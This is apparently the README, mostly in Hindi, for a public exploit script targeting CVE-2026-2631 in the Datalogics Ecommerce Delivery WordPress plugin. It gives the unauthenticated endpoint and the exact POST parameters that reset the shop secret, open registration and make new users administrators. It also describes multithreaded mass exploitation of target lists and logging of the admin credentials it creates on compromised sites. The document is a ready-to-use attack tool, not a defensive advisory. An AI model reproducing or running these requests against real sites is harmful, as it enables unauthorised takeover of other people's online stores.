
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - बिना प्रमाणीकरण के विशेषाधिकार वृद्धि
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - बिना प्रमाणीकरण के विशेषाधिकार वृद्धि
PoC / शोषण स्क्रिप्ट:
CVE-2026-2631.py
लेखक: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
संपर्क: टेलीग्राम:@Kxploit
< 2.6.60 (2.6.60 को छोड़कर)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HDatalogics Ecommerce Delivery – Datalogics प्लगइन एक बिना प्रमाणीकरण वाला एंडपॉइंट उजागर करता है:
/wp-json/gsf/v1/update-options
यह स्क्रिप्ट उस एंडपॉइंट का दुरुपयोग करके:
resetStoreConfigrations एक्शन का उपयोग करके आंतरिक shop_secret कुंजी रीसेट करती है।users_can_register = 1।administrator सेट करती है: default_role = administrator।wp-login.php?action=registerसफल होने पर, पंजीकरण फॉर्म के माध्यम से बनाया गया कोई भी नया उपयोगकर्ता एक व्यवस्थापक होगा।
users_can_register = 1default_role = administratorrich का उपयोग करके समृद्ध TUI आउटपुट (रंगीन और लाइव-अपडेट होने वाली तालिका)।Login_admin.txt में परिणाम लॉगिंग।आवश्यक पैकेज इंस्टॉल करें:
pip install -r requirements.txt
उदाहरण requirements.txt:
requests
rich
urllib3
या मैन्युअल रूप से इंस्टॉल करें:
pip install requests rich urllib3
प्रत्येक लक्ष्य के लिए:
URL सामान्यीकरण
http:// जोड़ता है।shop_secret रीसेट करें
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyWordPress विकल्प अपडेट करें
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, option_value = administratorwordpress option has been created or updated successfullyजाँचें कि पंजीकरण खुला है या नहीं
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedउपयोगकर्ता पंजीकरण का प्रयास करें
_wpnonce निकालता है।user_login, user_emailuser_pass/user_pass2_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsलॉगिंग
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
list.txt (या कस्टम फ़ाइल) से सभी लक्ष्य पढ़ता है।chunkify का उपयोग करके लक्ष्यों को N हिस्सों में विभाजित करता है।N वर्कर थ्रेड लॉन्च करता है, प्रत्येक लक्ष्यों की अपनी सूची संसाधित करता है।Queue का उपयोग करता है।printer_loop) लाइव rich तालिका अपडेट करता है:
python3 CVE-2026-2631.py
आपसे इंटरैक्टिव रूप से निम्न के लिए पूछा जाएगा:
लक्ष्य फ़ाइल
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogथ्रेड्स
Threads (1-50) [10]:1050shop_secret मान
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations को भेजी गई नई सीक्रेट कुंजी है।पंजीकरण क्रेडेंशियल्स
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:ये क्रेडेंशियल्स प्रत्येक कमजोर लक्ष्य पर पंजीकरण प्रयास के लिए उपयोग किए जाएंगे।
list.txt (या कोई भी फ़ाइल जो आप चाहें) बनाएं जिसमें प्रति पंक्ति एक लक्ष्य हो:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
स्क्रिप्ट यह करेगी:
http:// जोड़ेगी।/ हटाएगी।सभी सफल ऑपरेशन (भले ही उपयोगकर्ता पंजीकरण विफल हो जाए लेकिन विकल्प सेट हो जाएं) इसमें लिखे जाते हैं:
Login_admin.txt
एक विशिष्ट पंक्ति:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
लाइव तालिका में स्थिति के उदाहरण:
SUCCESS – विकल्प सेट और/या उपयोगकर्ता पंजीकृत।FAILED – रीसेट/विकल्प विफल, भेद्यता शोषण योग्य नहीं।ERROR – अपवाद, नेटवर्क त्रुटियाँ, टाइमआउट आदि।POST /wp-json/gsf/v1/update-options
shop_secret रीसेट करेंaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
स्क्रिप्ट:
_wpnonce निकालती है।normalize_site(raw: str) -> str
लक्ष्य URL को सामान्यीकृत करता है।
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
resetStoreConfigrations एक्शन का प्रयास करता है।
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
कमजोर एंडपॉइंट के माध्यम से WordPress विकल्प सेट करता है।
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
जाँचता है कि पंजीकरण खुला है और फॉर्म सुलभ है या नहीं।
try_register_user(...) -> (bool, str)
दिए गए उपयोगकर्ता को पंजीकृत करने का प्रयास करता है।